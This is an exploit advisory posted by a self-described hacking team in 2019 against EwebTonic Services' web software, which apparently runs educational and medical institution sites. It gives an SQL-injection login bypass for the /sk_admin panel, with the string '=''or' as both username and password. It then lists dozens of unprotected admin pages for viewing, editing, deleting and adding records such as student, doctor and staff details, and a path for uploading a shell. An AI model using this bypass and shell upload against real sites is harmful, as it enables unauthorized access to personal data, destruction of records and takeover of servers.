#################################################################### # Exploit Title : EwebTonic Services Pvt Ltd Software Authentication Bypass Backdoor Access Vulnerability # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 17/08/2019 # Vendor Homepage : ewebtonic.in + facebook.com/ewebtonic + linkedin.com/company/ewebtonic-services-private-limited # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : High # Vulnerability Type : CWE-287 [ Improper Authentication ] CWE-434 [ Unrestricted Upload of File with Dangerous Type ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos #################################################################### # Impact : *********** * Authentication is any process by which a system verifies the identity of a user who wishes to access it.When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct and besides it allows upload a file/shell/backdoor on the system without administrator permission. Improper authentication occurs when an application improperly verifies the identity of a user. A software incorrectly validates user's login information and as a result, an attacker can gain certain privileges within the application or disclose sensitive information that allows them to access sensitive data and provoke arbitrary code execution. The weakness is introduced during Architecture and Design, Implementation stages. * The software allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment. #################################################################### # Authentication Bypass / Admin Panel Login Bypass Exploit : ****************************************************** Admin Panel Login Path : /sk_admin Administrator Panel changes according to the vulnerable sites. Admin Username : '=''or' Admin Password : '=''or' Exploit : /sk_admin/page-view/menu.php /sk_admin/page-view/view_admission.php /sk_admin/page-view/view_cme_program_notice.php /sk_admin/page-view/view_committee_mem.php /sk_admin/page-view/view_course_details.php /sk_admin/page-view/view_department.php /sk_admin/page-view/view_department_details.php /sk_admin/page-view/view_dept_bed.php /sk_admin/page-view/view_doctor_details.php /sk_admin/page-view/view_emp_nonteaching.php /sk_admin/page-view/view_emp_teaching.php /sk_admin/page-view/view_history.php /sk_admin/page-view/view_home_noticeboard.php /sk_admin/page-view/view_hostel_list.php /sk_admin/page-view/view_hostel_warden.php /sk_admin/page-view/view_images.php /sk_admin/page-view/view_img_gallery.php /sk_admin/page-view/view_library_img.php /sk_admin/page-view/view_mci_details.php /sk_admin/page-view/view_nursingstaff_details.php /sk_admin/page-view/view_research_publication.php /sk_admin/page-view/view_result.php /sk_admin/page-view/view_right_inform_notice.php /sk_admin/page-view/view_sanction_post.php /sk_admin/page-view/view_stu_hostel_details.php /sk_admin/page-view/view_student_activity.php /sk_admin/page-view/view_student_award.php /sk_admin/page-view/view_student_details.php /sk_admin/page-view/view_technicalstaff_details.php /sk_admin/page-view/view_tender.php /sk_admin/page-view/view_university_aafiliated.php /sk_admin/page-view/viewnotice.php _________________________________________________ /sk_admin/page_delete/admission-delete.php /sk_admin/page_delete/bed_distribution.php /sk_admin/page_delete/cme_program_notice_delete.php /sk_admin/page_delete/committee_member.php /sk_admin/page_delete/course_details_delete.php /sk_admin/page_delete/department-details-delete.php /sk_admin/page_delete/doc-details-delete.php /sk_admin/page_delete/emp-nonteaching-delete.php /sk_admin/page_delete/emp-teaching-delete.php /sk_admin/page_delete/history-delete.php /sk_admin/page_delete/homenoticeboard-delete.php /sk_admin/page_delete/hostellist-delete.php /sk_admin/page_delete/hostelwarden-delete.php /sk_admin/page_delete/img_gall_del.php /sk_admin/page_delete/library_img_del.php /sk_admin/page_delete/mci_delete.php /sk_admin/page_delete/notice-delete.php /sk_admin/page_delete/nursingstaff_delete.php /sk_admin/page_delete/researchpub-delete.php /sk_admin/page_delete/result-delete.php /sk_admin/page_delete/right_inform_delete.php /sk_admin/page_delete/snction-delete.php /sk_admin/page_delete/stu-details-delete.php /sk_admin/page_delete/student-details-delete.php /sk_admin/page_delete/student_activity-delete.php /sk_admin/page_delete/student_awards.php /sk_admin/page_delete/techstaff_delete.php /sk_admin/page_delete/tender-delete.php /sk_admin/page_delete/ua.php /sk_admin/page_delete/uploadimages-delete.php _________________________________________________ /sk_admin/page_edit/edit_about-us.php /sk_admin/page_edit/edit_admission_list.php /sk_admin/page_edit/edit_committee_mem.php /sk_admin/page_edit/edit_course_details.php /sk_admin/page_edit/edit_dep_bed_details.php /sk_admin/page_edit/edit_department.php /sk_admin/page_edit/edit_department_details.php /sk_admin/page_edit/edit_doctors_details.php /sk_admin/page_edit/edit_emp_nonteaching.php /sk_admin/page_edit/edit_emp_teaching.php /sk_admin/page_edit/edit_homenoticeboard.php /sk_admin/page_edit/edit_hostel_list.php /sk_admin/page_edit/edit_hostelwarden_details.php /sk_admin/page_edit/edit_mci_details.php /sk_admin/page_edit/edit_notice.php /sk_admin/page_edit/edit_nursingstaff_details.php /sk_admin/page_edit/edit_result.php /sk_admin/page_edit/edit_sanction_post.php /sk_admin/page_edit/edit_student_details.php /sk_admin/page_edit/edit_student_hostel_details.php /sk_admin/page_edit/edit_tender.php /sk_admin/page_edit/edit_university_affli.php /sk_admin/page_edit/edit_uploadimages.php /sk_admin/page_edit/menu.php _________________________________________________ /sk_admin/pages_add/about-us.php /sk_admin/pages_add/academy_head_details.php /sk_admin/pages_add/admission.php /sk_admin/admission_list/[your-shell-name].php /sk_admin/pages_add/category.php /sk_admin/pages_add/cme_program_notice.php /sk_admin/pages_add/committee_member.php /sk_admin/pages_add/course.php /sk_admin/pages_add/course_details.php /sk_admin/pages_add/dep_bed_dist.php /sk_admin/pages_add/department.php /sk_admin/pages_add/department_details.php /sk_admin/pages_add/designation.php /sk_admin/pages_add/doctors_details.php /sk_admin/pages_add/employee_nonteaching_details.php /sk_admin/pages_add/employee_teaching_details.php /sk_admin/pages_add/home-notice-board.php /sk_admin/pages_add/hostel_creation.php /sk_admin/pages_add/hostel_warden_details.php /sk_admin/pages_add/image_gallery.php /sk_admin/pages_add/mci_details.php /sk_admin/pages_add/menu.php /sk_admin/pages_add/notice.php /sk_admin/pages_add/nursing_staff_details.php /sk_admin/pages_add/recognition-all-courses.php /sk_admin/pages_add/research_publication.php /sk_admin/pages_add/result.php /sk_admin/pages_add/right_inform_notice.php /sk_admin/pages_add/sanction_post.php /sk_admin/pages_add/student_activity.php /sk_admin/pages_add/student_awards.php /sk_admin/pages_add/student_hostel_details.php /sk_admin/pages_add/students_details.php /sk_admin/pages_add/technical_staff.php /sk_admin/pages_add/tender.php /sk_admin/pages_add/upload-images.php /sk_admin/pages_add/vice-chancellor.php /sk_admin/pages_add/yrsession.php #################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ####################################################################